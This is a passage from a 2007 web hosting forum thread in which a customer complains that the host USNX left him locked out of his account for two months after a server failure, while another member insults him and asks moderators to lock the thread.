will tell you. That is the logical explanation of how you would have got the Idea that "I can't pay a hosting bill." HC-Sam is an insider no wonder you have been saying "everything is fine". Look at all his posts. His problem was solved before any of us. And many of us kept "waiting for our turn". That doused off a little heat off USNX's back. All USNX had to do was to keep their name and retain us as clients was just tell us to furnish details of our bill and immideatly give us new accounts on their servers. till they were able to recover our data. But they decided to only restore or give us a new server after they recovered the data. I guess they were too lazy to go through the whole process of verifying our bills. And ofcourse there is the risk of people trying to get a free host. But I guess they should have taken the risk as anyhow after the data was recovered they could have deleted the illegal accounts. But they just choose to sit on their bu**s till the hard disk was recovered. And I am the most unluckiest as after they restored the new server somehow their email missed me. That was around november end.(my hosting was valid till dec15) And from that november I have been asking them to provide me the IP address of the server to login. Now it is been almost two months. All I wanted to was get my clients email back. Dave Zan I would have exactly followed your advice of "sh** Happen and I gotta deal with it. Yes The downtime which they gave me(and all the other customers) of more than a week. I would have pardoned that as "sh** happens" And I would have moved on. Infact I had already moved to a new host and was planning to give the remaining 15days of hosting to friend, I had told him that USNX has promised to give month of credit. IF my friend had not taken it I would have just let it rot like that. Or maybe still I would have checked the uptime for a month and made USNX my backup host.( I always keep a backup host a cheaper one Just in case Only this time I had did not have one as my backup host was too bad). But this case is not acceptable. Even right now I am online with their support and if they give me access just long enough to access and download my clients mailbox, I will gladly move on. But if they are not going to do that then I have to get back to them. And in such an extreme situation i will resort to such extreme means of revenge. The delay the downtime and etc I will take it is my error of judgement or my bad luck. But if they are not going to respond to me and not allow me to take my data just because It is obvious that I am never going to host with them then I that is deliberate harrasment. I will definately get revenge with them Before commenting please read comments properly.
Posted by Yeah_Buddy, 01-20-2007, 01:20 PM
You make me laugh and stop typing essays every time you want to say something because your grammar (and logic / overall point of view) is terrible. I'd rather claw my eyes out than read what you continuously post. I have my own hosting company, HostingChoice. I am not affiliated with USNX in any way (besides the fact that I have hosting with them). If I was affiliated with them, I would not hide it, guaranteed. Number 2, I was in contact with Kyle every day before the buyout because I knew it was going to happen on November 1st. I knew this a little over a month before IntegraHost transferred the clients. I made the damn thread you moron because I wasn't sure what was happening since my sites were down and the server was acting strangely. When you can tell me reasonably why I would be worried about IntegraHost going down AS AN EMPLOYEE OF USNX, maybe even I will be convinced that I somehow work for them. As you can see from my site, everythings fine, why wouldn't I say good things? Recently I was just switched to a much better server than my IntegraHost server, with no downtime. Everything has been going extremely smooth and although Kyle messed up bad, USNX has been the total opposite regarding my concerns and problems. quan, I am convinced that you have done a disservice to them. You probably never paid ever. Last edited by Yeah_Buddy; 01-20-2007 at 01:26 PM.
Posted by qwan, 01-20-2007, 04:03 PM
That is an ignorant and flaming comment. Well now I am sure you just have no other work in life but make it miserable for other who are undergoing problems. What wrong did i do to you? Would you like to see my invoice that I have paid 3 months of hosting till december15th you are just impossible. I am just trying to voice my problems in a related thread and you just get some kind of a sadistic pleasure in putting me down. Anyhow I am not going to address you anymore. because USNX is solving my issue. When I just mention to them That i havent been able to login since November They have been continously on my issue. Because when they asking me my billing email and verify it they are aware of their gross negligence. Right Now I am online Mr. Robert Jenkins has given Me the Ip. My since mY old password USNX is int he process of resetting it. You seriously have no other work in life. And thank You for mentioning the name of Your hosting company. I will definately stay away from your company. because I know that I will never get any support becuase you are loitering here satisfying your egomanicals sadistical pleasures.
Posted by Yeah_Buddy, 01-21-2007, 02:06 AM
My company has been in my profile this whole time and you aren't eligible to receive my services anyways. You are my first blacklisted individual congrats. Mods, I created this thread and I request to have it locked. Thank you.
Posted by qwan, 01-21-2007, 12:51 PM
I hope Mods lock this thread. Because instead of a discussion here HC-Sam I personally attacking me. All I was doing was voicing my opinion of USNX which is fair as they have locked me out of my own hosting account for almost two months now.They almost closed down my business with their downtime(and also many other who have mentioned that in this thread) But HC-Sam has only been insisting that I have not done "some" payment and that is why I am facing this problem. That is just a baseless comment which is a personal attack on me. If anyone reads this thread they will know how USNX was so irresponisble to their customers. The only reason why everyone has stopped commenting and I am the only one shouting here, is because the email about the new server got "lost" and did not reach me. I just kept voicing my opinion on how irresponsibel USNX is and etc. etc. Just like may people have done in this forum on "deserving" hosts. But I dont know why HC-Sam is taking this personally. Maybe it is just his ego. He had passed a comment (infact many comments) in support of USNX. He single me out becuase he thought that all the other "ill-fated" customers of USNX stopped commenting negatively becuase of his "influence", I was the only one who continued commenting "negatively" about USNX. The reason being that I am still locked out of my account. Others stopped commenting because they got the "email" that I "missed" and not because of HC-Sam's "supportive" comments. They got their accounts back and "moved one". I did not because I am still not able to access my files. But I think HC-Sam thinks that I am am "not Listening" or "getting Influenced" by his comments so that is why he is attacking me personally and has called me a Liar and a defaulter. I am still not able to access my files and I am going to be vocal about it.
Posted by datacenterdirectory, 01-23-2007, 04:25 PM
This thread is quite entertaining! Best of luck to you qwan, you have obviously been hurt by this situation. Hopefully this concludes everything.